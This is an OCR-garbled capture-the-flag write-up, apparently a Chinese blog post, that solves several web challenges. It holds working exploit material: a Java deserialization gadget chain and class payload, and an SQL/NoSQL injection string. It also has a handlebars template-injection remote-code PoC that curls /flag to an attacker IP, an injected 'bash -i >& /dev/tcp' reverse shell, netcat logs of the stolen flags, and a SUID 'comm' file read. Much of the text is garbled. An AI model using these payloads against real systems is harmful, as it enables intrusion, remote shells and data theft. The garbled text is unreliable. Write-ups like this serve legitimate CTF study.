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@ResponseBody

@RequestMapping({ 1)
public String unser(@RequestParam(name ,required true) String data, Model model) throws Exception

byte[] b = Tools.base64Decode(data);

InputStream inputStream new ByteArrayInputStream(b);

ObjectInputStream objectInputStream new ObjectInputStream(inputStream);

String name = objectInputStream.readUTF();

int year = objectInputStream.readInt();

if (name.equals( ) year 2021) {
objectInputStream.readObject();

return
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Serializable;

public class ToStringBean extends ClassLoader implements Serializable {

private byte[] ClassByte;

public ToStringBean() {

1
J

public String toString() {

ToStringBean toStringBean = new ToStringBean();

Class clazz = toStringBean.defineClass((String)null, this.ClassByte, @, this.ClassByte.length);
Object var3 null;

try {
var3 clazz.newInstance();

} catch (InstantiationException var5) {
var5.printStackTrace();

} catch (IllegalAccessException var6) {
varé.printStackTrace();

return
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import com.sun.org.apache.xalan.internal.xs1tc.DOM;

my

import com.sun.crg.apache.xalan.internal.xsltc.TransletException;

m g

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml. internal.dim.DTMAxisIterator;

m m

import com.sun.org.apache.xml. internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet
{

@Override

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletE

xception {

)i
public Evil() {
try {
String[] command { 5 5

Runtime.getRuntime().exec(command);

)i
catch (Exception ex) {
ex.printStackTrace();

public static void main(final String[] array) {

}

root@VM-0-6-ubuntu:~/java/evil
yv66vgAAADQALWOACWACBWAdCAAeCAATCAAgCgAhACIKACEATIWcAJAOACAA1BWAMBWANAQAIdHIh
bnNmb3JtAQByKExjb20vc3VulL29yZy9hcGF jaGUveGF sYWAvaW50ZXJuYWwveHNsdGMVREONO1tM
29tL3N1bi9vecmcvYXBhY2h1lL3htbCO9pbnR1cm5hbC9zZXIpYWxpemVyLIN1cmlhbG16YXRpb25I
W5kbGVyOy1WAQAEQ29kZQEADOXxpbmVOdW1iZXIUYWISsZQEACkVAY2VwdGlvbnMHACEBAKYOTGNV
bS9zdW4vb3InL2FWYWNoZS94YWxhbi9pbnR1cm5hbC94c2x0Yy9ETOO7TGNVbS9zdWAvb3InL2Fw
WNoZS94bWwvaW50ZXJuYWwvZHRtLORUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vemcvYXBhY2hl
L3htbCO9pbnR1cm5hbC9zZXIpYWxpemVyL1IN1cmlhbG16YXRpb25IYW5kbGVyOy1WAQAGPGluaXQ+
AQADKCIWAQANU3RhY2tNYXBUYWIsZQcAJgcAJAEABG1haWABABYoWOxqYXZhL2xhbmcvU3RyalW5n
Oy IWAQAKU291cmN1Rm1sZQEACUV2ahWwuamF2YQWAEWAUAQAQamF2YS9sYW5nL1INOcmluZwEAByY9i
aW4vc2gBAAItYWEAL2N1cmwgaHROcDovLzEyMS41LjE20S4yMjMeMzk3NjcvIC1GIGZpbGUIQCOm
bGFNBWApDAAQACSMACWALQEAE2phdmEvbGFuZy9FeGN1cHRpb24MACAAFAEABEV2aWwBAEBjb20v
c3VuL29yZy9hcGF jaGUveGF sYW4valW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnNOcmF jdFRyYWSz
bGVOAQAS5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFulL21ludGVybmFsL3hzbHRjL1RyYWS5zbGVORXh]
ZXBOaW9UAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW11AQAVKCIMamF2YS9sYW5nL1J1
bnRpbWU7AQAEZXh1YWEAKChbTGphdmEVbGFuZy9TdHIpbmc7KUxqYXZhL2xhbmcvUHIvY2VzczsB
AASQwcmludFNOYWNrVHIhY2UAIQAKAASAAAAAAAQAAQAMAAGAAEAOAAAAGQAAAAMAAAABSQAAAAEA
DwAAAAYAAQAAAAWAEAAAAAQAAQARAAEADAASAATIADEAAABKAAAAEAAAAABEAAAABAASAAAAGAAEA
AAARABAAAAAEAAEAEQABABMAFAABAAAAAAB3AAQAAEAAACKqtwABBroAALKDEENTWQQSBFNZBRIF
UOY4AAYrtgAHV6CACEWrtgATSQABAAQATAAAAGAAgAPAAAAHEAHAAAAE GAEABQAGAAVACAAGEA ]
ABgAJAAZACEAGWAVAAAAEAAC /wAFAAEHABYAAQCcAFWQACQAYABKAAQAOAAAAGQAAAAEAAAABSQAA
AAEADWAAAAYAAQAAABAAAQAAAAAAEAD
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eflect.Field;
a.util.Base64;

public class Test {
public static void main(String[] args) throws Exception{

BadAttributeValueExpException badAttributeValueExpException new BadAttributeValueExpException(null);
Class clazz Class.forName( )
Field field clazz.getDeclaredField( );
field.setAccessible(true);
ToStringBean toStringBean = new ToStringBean();
field.set(badAttributeValueExpException,toStringBean);
byte[] classByte Base64.getDecoder().decode(

clazz Class.forName(

field clazz.getDeclaredField(
field.setAccessible(true);
field.set(toStringBean,classByte);

ByteArrayOutputStream bout new ByteArrayOutputStream();
ObjectOutputStream oout new ObjectOutputStream(bout);
oout.writeUTF( );

oout.writeInt(2021);
oout.writeObject(badAttributeValueExpException);

byte[] bytes bout.toByteArray();

byte[] encode = Base64.getEncoder().encode(bytes);

System.out.println(new String(encode));




A T2 | eci-2ze2dx93xkg5intz9ptf.cloudecil.ichungiu.com:8888/readobject?data=rO0ABXcNAAINYWRNZX... &) v¢ SIS
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[x ﬂ Elements Console Sources Network Performance Memory  Application Security Lighthouse  Adblock Plus HackBar EditThisCookie B2 o SIS 4

LOAD SPLIT EXECUTE TEST ~ sqQLl ~ Xss -~ LFI ~ SSTI ~ ENCODING ~ HASHING ~

URL
http://eci-2ze2dx93xkg5intz9ptf.cloudecil.ichungiu.com:8888/readobject?

data=rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2ViZW50LkJhZEFOdHJpYnV0ZVZhbHVIRXhwRXhjZXB0aW9u10faq2MtRKACAAFMAAN2YWx0ABJMamF2

YS9sYW5nL09%iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEWABWNhdXNIdAAVTGphdmEvb
GFuZy9UaHJvd2FibGU7TAANZGVOYWIsTWVzc2FnZXQAEkxqYXZhL2xhbmevU3RyaW5n01sACnNOYWNrVHJhY2VOAB5bTGphdmEvbGFuZy9TdGFja1RyYWNIRWxIbWVudDtM
ABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyABSbTGphdmEubGFuZy5TdGFja1lRyYWNIRWxIbWVudDsCRio8PP0iOQIAAHhwAAAAA
XNyABtqYXZhLmxhbmecuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEKACmMxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmIsZUShbWVxAH4ABUWACmM
aWZp
o
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root@M-0-6-ubuntu:~# nc -lvvp 39767

Listening on (family 0, port 39767)

Connection from 39.105.2 } 26534 received!

POST / HTTP/1.1

Host: 121.5.169.223:39767

User-Agent: curl/7.64.0

Accept: */*

Content-Length: 238

Content-Type: multipart/form-data; boundary= 716e3391c1dc8eb2

716e3391c1ldc8eb2
Content-Disposition: form-data; name="file"; filename="flag"
Content-Type: application/octet-stream

flag{87fded49a-c684-4ca2-al9%e-c9f5ae541095}
716e3391c1dcB8eb2--

root@M-0-6-ubuntu:~# [J
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flagi® & Zcurl#h i Hi Sk :

http://121.5.169.223:39656/ -F file=@/flag

. Railgun1.3.8.0 By 12520520

- a X
X% BE EE
En
EEkE FERE TBEHA mERk AR W@EIE
R [wsbmgic v‘ FREH: [cvs_zeze_msz +| Payload: |1

IP/URL: | ARARARAAAAARARARAAAAAAARARARAAARARARAAA

~
Alhttp://172.24.0.2:7001/

1§ H Cookie: [

28 &%MT onslog #Am  YRERA

mE: ‘curl http://121.5.169.223:39656/ -F file=@/flag

plit:

unix

seRER.. o




root@M-0-6-ubuntu:~# nc -lvvp 39656

Listening on (family 0, port 39656)

Connection from 47.104.181.226 35706 received!

POST / HTTP/1.1

User-Agent: curl/7.29.0

Host: 121.5.169.223:39656

Accept: */%

Content-Length: 239

Expect: 100-continue

Content-Type: multipart/form-data; boundary= Tf94790feebb

ff94790feebb
Content-Disposition: form-data; name="file"; filename="flag"
Content-Type: application/octet-stream

flag{da77ef49-5958-40d5-b426-664b8299e576}

££94790feebb- - CSDN @bfengi

T B payload, A=K I ENcU R H A ipayload. FIREBS LB GHFHMHE T, &7 —Mm:

apacheprOxy

43& : 5004

EE 2 ckme?
P pHE2 gEE3
FiF R LIRS (GAME) &= R

3z

CSDN @bfengj

eznode




router.post( , async function (req, res, next) {
let username req.body.username;
let password req.body.password;
if (check(username) check(password)) {
let sql ${username} ${password}' " ;
const result await select(sql)
.then(close())

.catch(err { console.log(err); });

if(result){

if (result.username username password result.password) {
res.cookie( , result, { signed: true });
res.send( )

} else {

res.send(

}
} else{

res.send(

}
} else {

res.send(

Ji)g

“check XAMwWaflRE G5 T, EHAS.

SR JE LR IX A

if (result.username username password result.password) {

BRTEER T, BEEREE LT FpayloadEid ki —i:

POST / HTTP/1.1

Host: eci-2zeggoejwozozko2gdxu.cloudecil.ichunqiu.com:8888
Content-Length: 389

Accept: */*

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54
Safari/537.36

Content-Type: application/x-www-form-urlencoded

Origin: http://eci-2zeggoejwozozko2g4dxu.cloudecil.ichunqgiu.com:8888
Referer: http://eci-2zeggoejwozozko2g4xu.cloudecil.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;gq=0.9,en-US;q=0.8,en;q=0.7

Cookie: _ jsluid_h=0ac3650127bce@646f3b72bc382255da

Connection: close

username[ ]=admin&password[ ]="%2F**%2Funion%2F**%2FSELECT%2F**%2F 'admin'%2CREPLACE (REPLACE (' %22%2F**%2Funion%2F**
%52FSELECT%2F**%2F%22admin%22%2CREPLACE (REPLACE (%22%3F%22%2CCHAR (34 )%2CCHAR(39) )%2CCHAR (63)%2C%22%3F%22)%23 ' %2CCH
AR(34)%2CCHAR(39) )%2CCHAR (63)%2C"%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE (REPLACE (%22%3F%22%2
CCHAR (34)%2CCHAR(39) )%2CCHAR (63 )%2C%22%3F%22)%23 "' )%23

BFRBIEH 2 BT HI:




router.post( , checkLogin, function (req, res, next) {
var name req.body.name req.body.name S

res.render( , hame)

1)

router.post( , checkLogin, upload.any(), function (req, res, next) {

fs.readFile(req.files[@].path, function (err, data) {
if (err) {
console.log(err);
} else {
response
message
filename: req.files[@].path
¥
res.end(JSON.stringify(response));

S A XA

const storage multer.diskStorage({
destination: function (req, file, cb) {
cb(null, )
s
filename: function (req, file, cb) {
cb(null, Date.now() )
}
1)

BMH. (RBRET)

%&— Fpackage.json, —A—ANEIFIH:




EhbsHIFEMRE JL B, &R T —4 cvE-2021-32822 :
https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/

R AR RAME R ST B2 B

var createError = require("http-errors’); var express = require('express'’); var path = require('path’); const cookiePaser = require('cookie-parser') var logger =
require('morgan’); const crypto = require('crypto’) const hbs = require('hbs'); var indexRouter = require('./routes/index’); var app = express(); // view engine setup
app.set('views', path.join(__dirname, 'views")); app.set('view engine’, 'hbs’); app.use(logger('dev')); app.use(express.json()); app.use(express.urlencoded({ extended: true
N); app.use(cookiePaser(crypto.randomBytes(32).toString())) app.use(express.static(path.join(_ dirname, 'public’)); app.use('/', indexRouter); app.use(function(req, res,
next) { next(createError(404)); }); // error handler app.use(function(err, req, res, next) { res.locals.message = errmessage; res.locals.error = req.app.get('env’) ===
'development’ ? err : {}; res.status(err.status || 500); res.render('error’); }); process.on('uncaughtException’, function (err) { console.log(err); }); module.exports = app;

[x ﬂ Elements Console Sources Network Performance Memory  Application Security Lighthouse  Adblock Plus

LOAD SPLIT EXECUTE TEST ~ sqQLl ~ XSS -~ LFl ~ SSTI ~ ENCODING ~

URL
http://eci-2zeggoejwozozko2g4xu.cloudecil.ichungiu.com:8888/admin

enctype
Enable POST application/json ADD HEADER

Body
{"name"{"feng":"777"'settings"{"views":"",'view options":{"layout":"app.js"}}}}

BE /flag KRR B B SO B E AN G, AR E 300 L hbs:

HackBar  EditThisCookie B2 0 X

HASHING ~

ENOENT: no such file or directory, open '../../../../../../flag.hbs'

Error: ENOENT: no such file or directory, open '../../../../../../flag.hbs’

= ﬂ Elements Console Sources Network Performance Memory  Application Security Lighthouse  Adblock Plus

LOAD SPLIT EXECUTE TEST ~ sqQLl ~ XSS -~ LFI SSTI ~ ENCODING ~

URL
http://eci-2zeggoejwozozko2g4xu.cloudecil.ichungiu.com:8888/admin

enctype

Enable POST applicaton/json ¥ ADD HEADER

Body
{"name"{*feng":"777""settings"{"views""",'view options":

{"layou /1A .{. fAag}}

RGBT, XMZRBITER R, R EAEThEE, Bar P BRR I8 Yerce .
B — FhbsHIE R IE erce:

https://xz.aliyun.com/t/4695

HackBar  EditThisCookie o1 B1 £ ¢ X

HASHING ~

CSDN @bfengj



4 curlsh IPOC:

{{#with "s" as |string]|}}
{{#with "e"}}
{{#with split as |conslist|}}

{{this.pop}}
{{this.push (lookup string.sub "constructor")}}

{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return global.process.mainModule.constructor._load('child_process').exec('curl http://121.5
.169.223:39767/ -F file=@/flag')"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply @ codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
({/with}}

POST v  http://eci-2zeggoejwozozko2g4xu.cloudecil.ichungiu.com:8888/upload “ Save ~

Params Authorization Headers (10) Body @ Pre-request Script Tests Settings Cookies Code
none ® form-data x-www-form-urlencoded raw binary GraphQL
KEY VALUE ss+  Bulk Edit
™ e 1.6t X
Body Cookies (1) Headers (5) Test Results @ status: 2000K Time: 76 ms  Size: 224 B Save Response ¥
Pretty Raw Preview Visualize Text v 5 mQ

1 f"message":"File uploaded successfully","Filename":"uploaditmp/1635675217527.jpg"ﬂ

C5DN @bfengj

BT IXAN AR S A -



A %% | eci-2zeggoejwozozko2gdxu.cloudecil.ichungiu.com:8888/admin

e 2 [object Object] function Function() { [native code] } 2 [object Object] [object Object]

[x ﬂ Elements Console Sources Network Performance Memeory Application Security Lighthouse Adblock Plus

LOAD SPLIT EXECUTE TEST ~ sqQLl ~ Xss -~ LFI ~ SSTI ~ ENCODING ~

URL
http://eci-2zeggoejwozozko2g4xu.cloudecil.ichungiu.com:8888/admin

enctype
Enable POST application/json ~ ADD HEADER

Body
{"name"{"feng":"777"'settings"{"views":"./upload_tmp",'view options":

{"layout":"1635675217527.jpg"}}}

i Hiflag:

root@M-0-6-ubuntu:~# nc -lvvp 39767
Listening on (family 0, port 39767)
Connection from 39.105.23.123 48522 received!
POST / HTTP/1.1

Host: 121.5.169.223:39767

User-Agent: curl/7.64.0

Accept: */*

Content-Length: 239

Content-Type: multipart/form-data; boundary=

5765bb3ed1bc 356
Content-Disposition: form-data; name="file"; filename="flag"
Content-Type: application/octet-stream

flag{b73f7859-99d1-4db8-a503-daef3b07c92b}

5765bb3ed1lbcf356--

HackBar EditThisCookie

HASHING ~

5765bb3ed1bc 356

—iEGo. LRBFMEMIITIEE, BELMINEEFIHF2MIRE, —AZlocalhost—/Z&admin:

CSDN @bfengj




func AdminCheckMiddleWare() gin.HandlerFunc {
return func(c *gin.Context) {
session sessions.Default(c)

if session.Get( nil {
c.Header( 5
c.String(200,

return

if session.Get( . os.Getenv/(
c.Header(
c.String(200,

)

return

)i
func IPCheckMiddleWare() gin.HandlerFunc {
return func(c *gin.Context) {
if c.Request.RemoteAddr[:9] c.Request.RemoteAddr[:9]
c.JSON(403, gin.H{ : 1)

return

adminiX B 5 FBANTH F 4 & administrator , 1B AHIE.
H—TRIBEIEFPEFESQLIEN:

err = db_table.Find(bson.M{ : user.Username
user.Password }).0ne(&result)

BB HHIW, Ll administrator AP AERMINAA . RESH T, HER—TisAEHT:

username=administrator&password="||this.username=="'administrator

R IH localhostFR # K ThEE BE LG /M ree:

func DeleteController(c *gin.Context) {

var filename Filename

if err c.ShouldBindJSON(&filename); err nil {
c.JSON(500, gin.H{ :err})
return

cmd exec.Command ( filename.Filename)
if err cmd.Run(); err

fmt.Println(err)

return

Pt LAf8 SEssrfo




/submit FIThEEE — T RS RS HAE F R —/MhtmBR G IE G ipdf, BAESBMERSFEHE M IIIIE secrets_of_admin, &
pdfkssrf,

H—Tjs KssrfLHrceik T :

POST /submit HTTP/1.1

Host: eci-2ze5gqglgtiew9prd5bnl.cloudecil.ichungiu.com:8888

Content-Length: 799

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://eci-2ze5gqlgtiew9prd5bnl.cloudecil.ichungiu.com:8888

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGaez@qbXRXdUlHaf

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54
Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applica

tion/signed-exchange;v=b3;q=0.9

Referer: http://eci-2ze5gqlgtiew9prd5bnl.cloudecil.ichunqiu.com:8888/submit

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en-US;q=0.8,en;q=0.7

Cookie: _ jsluid_h=7f4d85f214af75c12d03309d6885e159; mysession=MTYzNTY2NzU3N3x0d3dBTkUxU1RGRTIJURUpNUzBwWU1RUSXpSR
1pCV1VWS1ZrSmFOV1INUTBSUFZsQkVTVFEzVKVoSVIESKNWbFZWTnpOR1FVRKkOSMUUSTIiPFz1MoaVOs65bjmTmFCpCrHISD8_sgSWXQB5M8XQp
Connection: close

WebKitFormBoundaryGaez@qbXRXdUlHaf
Content-Disposition: form-data; name="title"

WebKitFormBoundaryGaez@qbXRXdUlHaf
Content-Disposition: form-data; name="author"

WebKitFormBoundaryGaez@qbXRXdUlHaf
Content-Disposition: form-data; name="description"

1</td><script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://127.0.0.1:8888/delete’, true);
httpRequest.setRequestHeader("Content-type", "application/json");
var obj = { "filename":"1234.pdf;bash -i >& /dev/tcp/121.5.169.223/39767 0>&1" };
httpRequest.send(JSON.stringify(obj));
</script><td>1
WebKitFormBoundaryGaez@qbXRXdUlHaf
Content-Disposition: form-data; name="covers"; filename="1.txt"

Content-Type: text/plain

WebKitFormBoundaryGaez@qbXRXdUlHaf - -

shel#iid >k T, REE— Fikflag, BAR. ZEiRX— FsuidRi, F—T:




ctfer@engine-1:/$ find / -perm -u=s -type f 2>/dev/null

find / -perm -u=s -type f 2>/dev/null
/usr/lib/xorg/Xorg.wrap
/usr/1lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd

/usr/bin/chsh

/usr/bin/mount

/usr/bin/chfn

/usr/bin/comm

/usr/bin/umount
/usr/bin/pkexec
ctfer@engine-1:/$

KIAE comm, BHEF Hcommik /flagggisshere :



ctfer@engine-1:/$ comm /flagggisshere /etc/passwd

comm /flagggisshere /etc/passwd

flag{3c515cc6-3ce2-4c3d-9dbc-001lec5f8f13a}
root:x:0:0:root:/root:/bin/bash

: file 2 is not in sorted order

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Ip:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody :x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
_apt:x:100:65534: : /nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105:: /nonexistent:/usr/sbin/nologin
usbmux:x:105:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:106:110:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq, ,, :/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:108:112:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
avahi:x:109:113:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:110:115::/var/lib/saned:/usr/sbin/nologin
colord:x:111:116:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:112:117::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:113:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:114:120:Gnome Display Manager:/var/lib/gdm3:/bin/false
mongodb:x:115:121::/var/lib/mongodb:/usr/sbin/nologin
ctfer:x:1000:1000: : /home/ctfer:/bin/bash

ctfer@engine-1:/$
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